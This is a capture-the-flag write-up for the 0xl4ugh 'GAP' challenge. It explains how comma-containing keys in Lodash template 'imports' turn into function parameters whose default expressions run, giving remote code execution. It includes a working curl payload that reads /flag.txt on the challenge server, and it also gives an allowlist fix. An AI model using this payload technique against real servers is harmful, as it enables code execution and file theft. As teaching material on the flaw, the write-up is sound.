0xl4ugh CTF: GAP - JSON/JS Discrepancy → Lodash.template RCE

Attack Chain

untrusted JSON → lodash importsKeys → Function(paramList) → comma-split signature → missing args → default param executes

Prerequisites, What you need to understand before reading

If you don’t understand these, the exploit will look like black magic.

• Concept 1: How new Function(arg1, arg2, body) builds a function (arguments before the body are parameter names).
• Concept 2: JavaScript coercion: arrays become comma-joined strings
  (["a","b"] → "a,b").
• Concept 3: ES6 default parameters execute only when the argument is undefined.
• Tooling: curl, basic Node/Express reading, and understanding JSON object keys.

Intro: What this challenge teaches

• Goal: turn a “harmless” JSON field into code execution during template compilation.
• Main idea: JSON keys are data… until a JS engine parses them as a function signature.
• Key lesson: when user-controlled strings reach compiler-like sinks (Function, eval, template compilation), think structure injection, not string injection.

Code Analysis

High-level architecture

• Endpoint: POST /render
• Stack: Express + Consolidate + Lodash templates
• Trust boundary: attacker controls template options via req.body.

The vulnerable path

The entire bug reduces to one bad trust decision:

app.use(express.json());
 
app.post("/render", (req, res) => {
  // attacker controls template options
  res.render("index", req.body, (err, html) => {
    if (err) return res.sendStatus(500);
    res.send(html);
  });
});

Conceptual lodash behavior:

importsKeys   = Object.keys(imports);
importsValues = values(imports, importsKeys);

Compiles template

lodash.js:14981
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
    .apply(undefined, importsValues);
});

Fatal assumption: importsKeys are trusted variable names.

Why this works?

The bug exists because Lodash treats imports keys as variable names, while JavaScript treats function parameter lists as raw strings. When a comma-containing key crosses this boundary, a single JSON key expands into multiple parameters. Lodash supplies values positionally, not semantically, so excess parameters become undefined. In ES6, undefined is not a failure state, it is an execution trigger. so Function() parameter list is just a string

new Function("a", "b", "return a + b");

But arrays are coerced:

new Function(["a", "b"], "return a + b");
//becomes:
new Function("a,b", "return a + b");

The JS engine only sees commas.

One JSON key Leads to multiple JS parameters

{
  "imports": {
    "left, right": "VALUE"
  }
}

Lodash sees:

importsKeys = ["left, right"];

importsValues = ["VALUE"];

Compiled function

• function anonymous(left, right)

Mapping:

ES6 default parameters execute on undefined

function demo(x = console.log("0xMRMA")) {}
demo(undefined); // prints "0xMRMA"

We’re not injecting into the template body. We’re executing code during argument initialization.

Exploit Strategie I used

Let injected values get consumed:

{
  "imports": {
    "a, b, c = console.log(\"PING\")": "X"
  }
}

Mapping:

Why I chose this chain?

• No quote breaking

• No template body injection

• No escaping

• Pure structure abuse

That’s why the name “Gap” is perfect.

My working payload

curl -X POST http://challenges3.ctf.sd:34192/render \
    -H "Content-Type: application/json" \
    -d '{"imports":{"a,b,c,input=process.mainModule.require('"'"'fs'"'"').readFileSync('"'"'/flag.txt'"'"','"'"'utf8'"'"')":1}
    }'

Key properties

Cause:

• One JSON key → multiple JS parameters
• Lodash binds arguments positionally

Effect:

• Values run out
• Missing parameters become undefined
• Default expressions execute → RCE

Solve Analysis, What happened on the server?

• Express parses JSON → req.body

• Renderer forwards attacker-controlled imports

• Lodash extracts keys (comma-containing string)

• Function() builds a multi-parameter signature

• Values run out → gap

• Default parameter executes → RCE

Any system that forwards user-controlled strings into function signatures, argument lists, or compiler-like constructs becomes vulnerable to alignment attacks. The exploit does not rely on JavaScript, it relies on positional binding and default evaluation semantics.

Real-World Fix. How to prevent this Defensive rules?

• Never pass user input as template options

• Allowlist locals explicitly

• Define helper imports server-side only

Minimal correct fix

app.post("/render", (req, res) => {
  const safe = {};
  const allow = ["title", "content", "items"];
 
  for (const k of allow) {
    if (Object.prototype.hasOwnProperty.call(req.body, k)) {
      safe[k] = req.body[k];
    }
  }
 
  delete safe.imports;
  delete safe.settings;
 
  res.render("index", safe, (err, html) => {
    if (err) return res.sendStatus(500);
    res.send(html);
  });
});
 

If helpers are needed

const SAFE_IMPORTS = Object.freeze({
  // escapeHtml, formatDate, etc
});
res.render("index", { ...safe, imports: SAFE_IMPORTS });

Closing

One JSON key becomes many JS parameters, the values run out, and undefined turns into execution.